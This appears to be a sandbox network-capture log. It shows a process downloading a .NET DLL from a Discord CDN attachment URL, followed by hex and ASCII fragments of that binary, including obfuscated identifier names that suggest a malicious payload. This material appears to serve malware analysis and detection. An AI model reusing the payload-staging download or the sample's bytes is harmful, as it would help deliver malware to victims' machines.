2022-08-08 15:18:38 UTC	68	OUT	GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2022-08-08 15:18:38 UTC	68	IN	HTTP/1.1 200 OK Date: Mon, 08 Aug 2022 15:18:38 GMT Content-Type: application/x-msdos-program Content-Length: 59904 Connection: close CF-Ray: 737939cbbd719b4f-FRA Accept-Ranges: bytes Age: 110661 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=RealProxyFlagsBadSignature.dll, attachment ETag: "79242a4038e35f2234d3373fb9133c3b" Expires: Tue, 08 Aug 2023 15:18:38 GMT Last-Modified: Sun, 07 Aug 2022 05:12:50 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1659849170365462 x-goog-hash: crc32c=NYw5/Q== x-goog-hash: md5=eSQqQDjjXyI00zc/uRM8Ow== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 59904 X-GUploader-UploadID: ADPycdupy3j_iJTl9UiBtH5H_LUJWnS6fjM0m76xxXqjYgQUCBDR1OD6agA7taTw16tkQfa4JMZqj0cPImG4pQS7vaiveg X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oQYc9bk9okeXoUcUXjX6GX2mHdw78IyHqvDwbqUOrKiuvWbUAInr%2B7jCv5%2BkO8WFWEY5ugZyOMpanWBszSXDsuZDsD9LuewaL3%2BWh92NY5wdo2Siix%2FpBTSrsurJ1imCmNHd7g%3D%3D"}],"group":"cf-nel","max_age":604800}
2022-08-08 15:18:38 UTC	70	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2022-08-08 15:18:38 UTC	70	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 c2 48 ef 62 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 b8 00 00 00 30 00 00 00 00 00 00 8e d6 00 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELHb!0 @ @`
2022-08-08 15:18:38 UTC	71	IN	Data Raw: 38 f8 01 00 00 38 f3 01 00 00 20 15 00 00 00 fe 0c 00 00 3f fc 00 00 00 20 15 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 74 08 00 00 20 11 00 00 00 fe 0c 00 00 3f 64 00 00 00 20 11 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 19 07 00 00 20 0f 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 0f 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 34 06 00 00 38 8b 01 00 00 20 10 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 10 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 93 06 00 00 38 65 01 00 00 38 60 01 00 00 20 13 00 00 00 fe 0c 00 00 3f 3e 00 00 00 20 13 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 35 07 00 00 20 12 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 12 00 00 00 fe 0c 00 00 3d 05 00 00 00 38 cd 06 00 00 38 19 01 00 00 38 14 01 00 00 20 14 00 00 00 fe 0c 00 00 3f 18 00 00 00 20 14 00 00 00 fe 0c 00 Data Ascii: 88 ? =8t ?d =8 ? =848 ? =88e8` ?> =85 ? =888 ?
2022-08-08 15:18:38 UTC	72	IN	Data Raw: 04 00 fe 0c 03 00 20 01 00 00 00 59 20 01 00 00 00 9c fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 fe 0c 06 00 fe 0c 03 00 20 01 00 00 00 59 9a fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 4a fe 0c 01 00 7e 03 00 00 04 fe 0c 0b 00 fe 0c 03 00 20 01 00 00 00 59 94 97 29 05 00 00 11 7e 03 00 00 04 fe 0c 0c 00 fe 0c 02 00 58 4a 97 29 06 00 00 11 55 fe 0c 0c 00 20 08 00 00 00 58 fe 0e 0c 00 38 c3 f7 ff ff fe 0c 08 00 fe 0c 03 00 20 02 00 00 00 59 8f 05 00 00 01 e0 4c fe 0c 08 00 fe 0c 03 00 20 01 00 00 00 59 8f 05 00 00 01 e0 4c fe 02 fe 0c 0c 00 fe 0c 02 00 58 4a fe 0c 0c 00 20 08 00 00 00 58 fe 0c 02 00 58 4a 59 5a fe 0c 0c 00 20 08 00 00 00 58 fe 0c 02 00 58 4a 58 fe 0c 0f 00 58 fe 0e 0c 00 fe 0c 03 00 20 02 00 00 00 59 fe 0e Data Ascii: Y Y Y YJ~ Y)~XJ)U X8 YL YLXJ XXJYZ XXJXX Y
2022-08-08 15:18:38 UTC	74	IN	Data Raw: 06 03 00 00 06 9b 7e 03 00 00 04 20 02 00 00 00 fe 06 04 00 00 06 9b 7e 03 00 00 04 20 03 00 00 00 fe 06 05 00 00 06 9b 7e 03 00 00 04 20 04 00 00 00 fe 06 06 00 00 06 9b 7e 03 00 00 04 20 05 00 00 00 fe 06 07 00 00 06 9b 7e 03 00 00 04 20 06 00 00 00 fe 06 08 00 00 06 9b 7e 03 00 00 04 20 07 00 00 00 fe 06 09 00 00 06 9b 2a 26 02 28 08 00 00 0a 00 00 2a 2a 00 02 28 0c 00 00 0a 00 00 2a aa 73 0e 00 00 0a 80 04 00 00 04 73 0f 00 00 0a 80 05 00 00 04 73 10 00 00 0a 80 06 00 00 04 73 11 00 00 0a 80 07 00 00 04 00 2a 13 30 01 00 10 00 00 00 0a 00 00 11 00 7e 04 00 00 04 6f 12 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 0b 00 00 11 00 7e 05 00 00 04 6f 13 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 0c 00 00 11 00 7e 06 00 00 04 6f 14 00 00 0a 0a 2b 00 Data Ascii: ~ ~ ~ ~ ~ ~ &((ssss0~o+0~o+*0~o+
2022-08-08 15:18:38 UTC	75	IN	Data Raw: 2b 0d 07 6f 3a 00 00 0a 6f 3b 00 00 0a 13 04 09 14 fe 01 16 fe 01 13 10 11 10 39 25 01 00 00 02 2c 03 03 2d 03 16 2b 01 17 00 13 11 11 11 2c 58 02 8e b7 17 da 13 05 16 11 05 13 0e 13 08 2b 3e 02 11 08 9a 13 07 03 11 08 9a 13 06 11 04 11 07 6f 3c 00 00 0a 13 11 11 11 2c 1b 09 11 06 28 3d 00 00 0a 13 10 11 10 2c 07 07 6f 3e 00 00 0a 00 00 14 0b 00 2b 12 00 00 11 08 17 d6 13 08 11 08 11 0e 13 12 11 12 31 b8 00 07 14 fe 01 16 fe 01 13 11 11 11 39 aa 00 00 00 04 14 fe 01 16 fe 01 13 10 11 10 2c 7f 04 6f 3f 00 00 0a 17 da 13 09 16 11 09 13 0f 13 0d 2b 62 04 11 0d 6f 40 00 00 0a 13 0a 11 0a 6f 3a 00 00 0a 6f 3b 00 00 0a 13 0c 11 0a 6f 06 00 00 2b 13 0b 11 0b 14 fe 01 16 fe 01 13 11 11 11 2c 2b 11 04 11 0c 6f 3c 00 00 0a 13 10 11 10 2c 1b 09 11 0b 28 3d 00 00 0a Data Ascii: +o:o;9%,-+,X+>o<,(=,o>+19,o?+bo@o:o;o+,+o<,(=
2022-08-08 15:18:38 UTC	77	IN	Data Raw: 11 2f 28 31 00 00 06 13 04 18 8d 08 00 00 01 13 2f 11 2f 16 72 1a 08 00 70 a2 00 11 2f 17 72 15 0a 00 70 a2 00 11 2f 28 31 00 00 06 13 14 18 8d 08 00 00 01 13 2f 11 2f 16 72 ba 0a 00 70 a2 00 11 2f 17 72 61 0d 00 70 a2 00 11 2f 28 31 00 00 06 13 08 18 8d 08 00 00 01 13 2f 11 2f 16 72 06 0e 00 70 a2 00 11 2f 17 72 53 11 00 70 a2 00 11 2f 28 31 00 00 06 13 0a 18 8d 08 00 00 01 13 2f 11 2f 16 72 f8 11 00 70 a2 00 11 2f 17 72 a3 14 00 70 a2 00 11 2f 28 31 00 00 06 13 0b 18 8d 08 00 00 01 13 2f 11 2f 16 72 48 15 00 70 a2 00 11 2f 17 72 9f 18 00 70 a2 00 11 2f 28 31 00 00 06 13 0c 18 8d 08 00 00 01 13 2f 11 2f 16 72 44 19 00 70 a2 00 11 2f 17 72 9b 1c 00 70 a2 00 11 2f 28 31 00 00 06 13 0d 18 8d 08 00 00 01 13 2f 11 2f 16 72 40 1d 00 70 a2 00 11 2f 17 72 ed 1f Data Ascii: /(1//rp/rp/(1//rp/rap/(1//rp/rSp/(1//rp/rp/(1//rHp/rp/(1//rDp/rp/(1//r@p/r
2022-08-08 15:18:38 UTC	78	IN	Data Raw: 13 32 11 32 2c 06 73 5e 00 00 0a 7a 00 11 06 12 01 7b 10 00 00 04 6f 5e 00 00 06 15 fe 01 13 32 11 32 2c 06 73 5e 00 00 0a 7a 00 de 40 25 28 61 00 00 0a 13 2d 00 12 01 7b 11 00 00 04 84 28 62 00 00 0a 13 2e 11 2e 14 fe 01 16 fe 01 13 32 11 32 2c 08 11 2e 6f 63 00 00 0a 00 00 16 13 07 28 64 00 00 0a de 0d 28 64 00 00 0a de 00 00 17 13 07 2b 00 11 07 2a 41 1c 00 00 00 00 00 00 5e 02 00 00 45 03 00 00 a3 05 00 00 40 00 00 00 09 00 00 01 13 30 03 00 25 00 00 00 23 00 00 11 00 02 28 13 00 00 2b 0c 02 28 14 00 00 2b 0a 08 06 7e 67 00 00 0a 6f 68 00 00 0a 28 69 00 00 0a 0b 2b 00 07 2a 00 00 00 13 30 04 00 11 00 00 00 0e 00 00 11 00 02 03 04 17 28 30 00 00 06 26 17 0a 2b 00 06 2a 00 00 00 13 30 02 00 3b 00 00 00 24 00 00 11 00 7e 1c 00 00 04 14 28 6a 00 00 0a 0c Data Ascii: 22,s^z{o^22,s^z@%(a-{(b..22,.oc(d(d+A^E@0%#(+(+~goh(i+0(0&+*0;$~(j
2022-08-08 15:18:38 UTC	79	IN	Data Raw: 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0a 0a 00 00 00 01 23 e0 a6 83 83 a6 e0 23 01 23 e0 a6 e1 e1 a6 e0 23 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0b 0b 00 00 00 01 44 f4 63 61 61 63 f4 44 01 44 f4 63 0d 0d 63 f4 44 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0c 0c 00 00 00 01 3b 76 fc f1 f1 fc 76 3b 01 3b 76 fc 88 88 fc 76 3b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0d 0d 00 00 00 01 7e 32 10 97 97 10 32 7e 01 7e 32 10 b7 b7 10 32 7e 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 0e 0e 00 00 00 01 62 ab d2 14 14 d2 ab 62 01 62 ab d2 63 63 d2 ab 62 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 Data Ascii: ####DcaacDDccD;vv;;vv;~22~~22~bbbccb
2022-08-08 15:18:38 UTC	81	IN	Data Raw: 26 00 00 00 01 72 76 bb 70 70 bb 76 72 01 72 76 bb 02 02 bb 76 72 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 27 27 00 00 00 01 55 ac 1d 45 45 1d ac 55 01 55 ac 1d 36 36 1d ac 55 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 28 28 00 00 00 01 71 fa 59 45 45 59 fa 71 01 71 fa 59 2c 2c 59 fa 71 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 29 29 00 00 00 01 08 5f 25 11 11 25 5f 08 01 08 5f 25 7e 7e 25 5f 08 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 2a 2a 00 00 00 01 03 c6 8f d4 d4 8f c6 03 01 03 c6 8f ba ba 8f c6 03 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 2b 2b 00 00 00 01 38 ca 33 09 09 33 ca 38 01 38 Data Ascii: &rvppvrrvvr''UEEUU66U((qYEEYqqY,,Yq))_%%__%~~%_**++83388
2022-08-08 15:18:38 UTC	82	IN	Data Raw: 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 43 43 00 00 00 01 53 1f 2d f2 f2 2d 1f 53 01 53 1f 2d 93 93 2d 1f 53 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 44 44 00 00 00 01 20 bf 80 05 05 80 bf 20 01 20 bf 80 7c 7c 80 bf 20 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 45 45 00 00 00 01 02 83 a0 91 91 a0 83 02 01 02 83 a0 e2 e2 a0 83 02 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 46 46 00 00 00 01 00 23 d5 db db d5 23 00 01 00 23 d5 fb fb d5 23 00 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 47 47 00 00 00 01 32 6e 0d 17 17 0d 6e 32 01 32 6e 0d 76 76 0d 6e 32 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 Data Ascii: CCS--SS--SDD \|\| EEFF####GG2nn22nvvn2
2022-08-08 15:18:38 UTC	83	IN	Data Raw: 00 00 01 5b a6 9c 50 50 9c a6 5b 01 5b a6 9c 70 70 9c a6 5b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 60 60 00 00 00 01 05 6b 97 c3 c3 97 6b 05 01 05 6b 97 ab ab 97 6b 05 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 61 61 00 00 00 01 1f 01 62 87 87 62 01 1f 01 1f 01 62 f3 f3 62 01 1f 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 62 62 00 00 00 01 1b d6 66 06 06 66 d6 1b 01 1b d6 66 72 72 66 d6 1b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 63 63 00 00 00 01 22 2a 7a 8a 8a 7a 2a 22 01 22 2a 7a fa fa 7a 2a 22 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 64 64 00 00 00 01 3f 18 b1 96 96 b1 18 3f 01 3f 18 b1 Data Ascii: [PP[[pp[``kkkkaabbbbbbfffrrfcc"zz""zz"dd???
2022-08-08 15:18:38 UTC	85	IN	Data Raw: 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7c 7c 00 00 00 01 46 24 a0 0d 0d a0 24 46 01 46 24 a0 23 23 a0 24 46 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7d 7d 00 00 00 01 14 42 91 60 60 91 42 14 01 14 42 91 08 08 91 42 14 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7e 7e 00 00 00 01 0f 29 86 71 71 86 29 0f 01 0f 29 86 05 05 86 29 0f 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 7f 7f 00 00 00 01 36 ce c7 32 32 c7 ce 36 01 36 ce c7 5f 5f c7 ce 36 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 80 80 00 00 00 01 27 33 bb 08 08 bb 33 27 01 27 33 bb 64 64 bb 33 27 06 15 16 00 00 00 05 05 00 00 00 17 00 00 00 06 06 00 00 00 Data Ascii: \|\|F$$FF$##$F}}B``BBB~~)qq)))62266__6'33''3dd3'
2022-08-08 15:18:38 UTC	86	IN	Data Raw: 01 77 3a 83 96 96 83 3a 77 01 77 3a 83 f9 f9 83 3a 77 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 15 15 00 00 00 01 07 0d b1 74 74 b1 0d 07 01 07 0d b1 00 00 b1 0d 07 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 16 16 00 00 00 01 7b 43 ce 6d 6d ce 43 7b 01 7b 43 ce 08 08 ce 43 7b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 17 17 00 00 00 01 1d aa 8e cc cc 8e aa 1d 01 1d aa 8e af af 8e aa 1d 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 18 18 00 00 00 01 18 ac 10 61 61 10 ac 18 01 18 ac 10 15 15 10 ac 18 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 19 19 00 00 00 01 4a 2f 0a 96 96 0a 2f 4a 01 4a 2f 0a f3 f3 Data Ascii: w::ww::wtt{CmmC{{CC{aaJ//JJ/
2022-08-08 15:18:38 UTC	87	IN	Data Raw: 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 31 31 00 00 00 01 32 4f 28 aa aa 28 4f 32 01 32 4f 28 c7 c7 28 4f 32 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 32 32 00 00 00 01 13 6d 96 e4 e4 96 6d 13 01 13 6d 96 a0 a0 96 6d 13 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 33 33 00 00 00 01 3c ab de ba ba de ab 3c 01 3c ab de d5 d5 de ab 3c 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 34 34 00 00 00 01 45 4d 54 d6 d6 54 4d 45 01 45 4d 54 a2 a2 54 4d 45 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 35 35 00 00 00 01 25 16 9c a5 a5 9c 16 25 01 25 16 9c 85 85 9c 16 25 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 Data Ascii: 112O((O22O((O222mmmm33<<<<44EMTTMEEMTTME55%%%%
2022-08-08 15:18:38 UTC	89	IN	Data Raw: b2 63 8a 8a 63 b2 65 01 65 b2 63 ff ff 63 b2 65 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 4e 4e 00 00 00 01 4b 2b cb ea ea cb 2b 4b 01 4b 2b cb 93 93 cb 2b 4b 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 4f 4f 00 00 00 01 16 9d 9a 2e 2e 9a 9d 16 01 16 9d 9a 0e 0e 9a 9d 16 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 50 50 00 00 00 01 09 a8 9b 11 11 9b a8 09 01 09 a8 9b 77 77 9b a8 09 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 51 51 00 00 00 01 26 25 c2 42 42 c2 25 26 01 26 25 c2 37 37 c2 25 26 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 52 52 00 00 00 01 63 12 23 67 67 23 12 63 01 63 12 23 0b 0b 23 12 Data Ascii: cceecceNNK++KK++KOO..PPwwQQ&%BB%&&%77%&RRc#gg#cc##
2022-08-08 15:18:38 UTC	90	IN	Data Raw: 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6a 6a 00 00 00 01 09 a8 84 c6 c6 84 a8 09 01 09 a8 84 b1 b1 84 a8 09 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6b 6b 00 00 00 01 50 9e 93 66 66 93 9e 50 01 50 9e 93 48 48 93 9e 50 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6c 6c 00 00 00 01 66 0c e7 09 09 e7 0c 66 01 66 0c e7 68 68 e7 0c 66 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6d 6d 00 00 00 01 62 b3 c7 2b 2b c7 b3 62 01 62 b3 c7 59 59 c7 b3 62 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 00 6e 6e 00 00 00 01 4c 57 57 48 48 57 57 4c 01 4c 57 57 25 25 57 57 4c 06 15 11 00 00 00 05 05 00 00 00 01 00 00 00 00 00 00 00 00 14 01 00 00 Data Ascii: jjkkPffPPHHPllfffhhfmmb++bbYYbnnLWWHHWWLLWW%%WWL
2022-08-08 15:18:38 UTC	91	IN	Data Raw: 06 00 64 00 6d 0b 06 00 7b 00 6d 0b 12 00 c9 11 4b 0f 06 00 41 0d 6d 0b 06 00 5d 0a 6d 0b 06 00 aa 0c 6d 0b 06 00 bf 12 6d 0b 06 00 38 0f 6d 0b 0a 00 3a 06 9a 0f 06 00 58 07 4b 0f 12 00 89 07 f5 0a 12 00 ca 06 f5 0a 12 00 41 07 12 0e 0a 00 a6 0e 5e 0f 06 00 41 08 4b 0f 0a 00 54 0e 9a 0f 12 00 13 07 df 0b 0a 00 e5 07 59 03 0a 00 cd 07 e3 0f 06 00 91 11 0a 10 06 00 a7 05 6d 0b 06 00 9f 04 6d 0b 06 00 21 0f 6d 0b 0a 00 89 08 59 03 0a 00 0f 00 cb 0a 06 00 a2 07 c4 0f 0e 00 b6 12 25 0d 06 00 39 00 3e 03 06 00 01 00 3e 03 06 00 07 0f 7e 11 06 00 86 04 6d 0b 0e 00 df 06 25 0d 0e 00 ec 04 25 0d 0e 00 fd 03 25 0d 0e 00 0f 12 25 0d 06 00 7a 04 7e 11 06 00 47 00 3e 03 06 00 6a 00 6d 0b 16 00 7b 04 35 0d 06 00 59 08 0a 10 06 00 ea 06 0a 10 12 00 de 04 4b 0f 12 00 92 Data Ascii: dm{mKAm]mmm8m:XKA^AKTYmm!mY%9>>~m%%%%z~G>jm{5YK
2022-08-08 15:18:38 UTC	93	IN	Data Raw: 08 28 04 02 01 04 00 2c 30 00 00 00 00 06 18 2b 0f 8a 00 04 00 de 2f 00 00 00 00 01 18 2b 0f 8a 00 04 00 44 30 00 00 00 00 16 08 76 09 a9 02 04 00 a4 30 00 00 00 00 16 08 80 09 c0 02 05 00 04 31 00 00 00 00 16 08 8a 09 dc 02 07 00 6c 31 00 00 00 00 16 08 9d 09 f2 02 09 00 cc 31 00 00 00 00 16 08 8a 09 01 03 0c 00 ea 31 00 00 00 00 16 08 9d 09 0a 03 0e 00 f8 31 00 00 00 00 16 00 fd 07 1b 03 11 00 24 32 00 00 00 00 16 00 28 07 33 03 13 00 4c 32 00 00 00 00 16 00 cd 10 49 03 15 00 ac 32 00 00 00 00 16 00 cd 10 bb 03 19 00 20 33 00 00 00 00 16 00 cd 10 2c 04 1d 00 c4 34 00 00 00 00 03 18 2b 0f 77 04 21 00 e4 34 00 00 00 00 03 00 af 12 8e 04 24 00 10 35 00 00 00 00 03 00 17 12 9c 04 25 00 54 35 00 00 00 00 11 18 31 0f 73 00 26 00 be 35 00 00 00 00 06 18 2b 0f Data Ascii: (,0+/+D0v01l1111$2(3L2I2 3,4+w!4$5%T51s&5+
2022-08-08 15:18:38 UTC	94	IN	Data Raw: 74 0a 00 00 02 00 e4 03 00 00 03 00 90 0a 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 19 03 00 00 02 00 b2 0a 00 00 03 00 9e 06 00 00 01 00 9b 12 00 00 01 00 19 03 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 55 05 00 00 02 00 73 05 00 00 03 00 e7 10 00 00 04 00 bc 10 00 00 05 00 a1 10 00 00 06 00 21 11 00 00 07 00 cb 12 00 00 08 00 b3 13 00 00 09 00 dc 0c 00 00 0a 00 1a 0c 00 00 0b 00 b2 0a 00 00 0c 00 9e 06 00 00 01 00 dc 0c 00 00 02 00 1a 0c 00 00 03 00 9b 12 00 00 01 00 55 05 00 00 02 00 73 05 00 00 03 00 e7 10 00 00 04 00 bc 10 00 00 05 00 a1 10 00 00 06 00 21 11 00 00 07 00 cb 12 00 00 08 00 b3 13 00 00 09 00 dc 0c 00 00 0a 00 1a 0c 00 00 01 00 25 12 00 00 02 00 e8 03 00 00 01 00 cc 03 00 00 02 00 65 13 00 00 03 00 b2 0a 00 00 04 00 9e 06 00 Data Ascii: t%%Us!Us!%e
2022-08-08 15:18:38 UTC	95	IN	Data Raw: 05 41 00 01 12 ea 05 59 00 e8 0c f1 05 49 00 2b 0f 8a 00 b1 01 a9 13 f4 05 a1 01 06 11 01 06 c1 01 d2 0e 07 06 31 00 96 03 0d 06 31 00 2a 0b 8a 00 c1 01 c0 0e 73 00 51 01 27 13 22 06 51 01 02 13 22 06 41 00 d8 13 a1 04 41 00 f5 03 33 06 c9 01 81 06 39 06 19 00 59 11 60 07 c1 00 9c 13 66 07 f1 01 2b 0f 6c 07 11 02 d7 03 e7 07 09 02 2b 0f 8a 00 19 02 2b 0f 85 00 21 02 2b 0f 85 00 29 02 2b 0f 85 00 31 02 2b 0f 85 00 39 02 2b 0f 85 00 41 02 2b 0f 85 00 49 02 2b 0f 85 00 51 02 2b 0f d3 08 61 02 2b 0f e3 08 69 02 2b 0f 8a 00 71 02 2b 0f 85 00 79 02 2b 0f 85 00 51 02 2b 0f 67 09 29 00 b3 00 2f 01 2e 00 7b 03 7a 02 2e 00 83 03 7a 02 2e 00 8b 03 71 08 2e 00 93 03 7a 02 2e 00 9b 03 91 08 2e 00 a3 03 71 08 2e 00 ab 03 bb 08 2e 00 b3 03 da 08 2e 00 2b 01 7a 02 2e 00 Data Ascii: AYI+11*sQ'"Q"AA39Y`f+l++!+)+1+9+A+I+Q+a+i+q+y+Q+g)/.{z.z.q.z..q...+z.
2022-08-08 15:18:38 UTC	97	IN	Data Raw: 60 31 00 43 6f 6e 74 65 78 74 56 61 6c 75 65 60 31 00 54 68 72 65 61 64 53 61 66 65 4f 62 6a 65 63 74 50 72 6f 76 69 64 65 72 60 31 00 49 45 6e 75 6d 65 72 61 74 6f 72 60 31 00 4c 69 73 74 60 31 00 52 65 73 65 72 76 65 64 31 00 52 65 61 64 49 6e 74 33 32 00 54 6f 49 6e 74 33 32 00 46 75 6e 63 60 32 00 52 65 73 65 72 76 65 64 32 00 49 6e 74 36 34 00 54 6f 49 6e 74 31 36 00 3c 4d 6f 64 75 6c 65 3e 00 67 65 74 45 6e 63 6f 64 69 6e 67 43 4d 53 53 45 43 54 49 4f 4e 45 4e 54 52 59 49 44 4d 45 54 41 44 41 54 41 00 65 72 49 6c 4f 48 6d 54 6a 76 46 55 52 55 42 00 46 7a 52 58 72 4e 58 52 41 46 43 71 5a 51 44 00 73 44 47 57 6a 74 49 6e 6e 65 41 74 76 51 44 00 73 4c 45 58 52 67 6d 42 45 4f 62 4c 7a 6c 44 00 4e 58 6e 64 55 49 50 75 6f 47 50 47 47 42 46 00 68 6c 49 4b Data Ascii: `1ContextValue`1ThreadSafeObjectProvider`1IEnumerator`1List`1Reserved1ReadInt32ToInt32Func`2Reserved2Int64ToInt16<Module>getEncodingCMSSECTIONENTRYIDMETADATAerIlOHmTjvFURUBFzRXrNXRAFCqZQDsDGWjtInneAtvQDsLEXRgmBEObLzlDNXndUIPuoGPGGBFhlIK
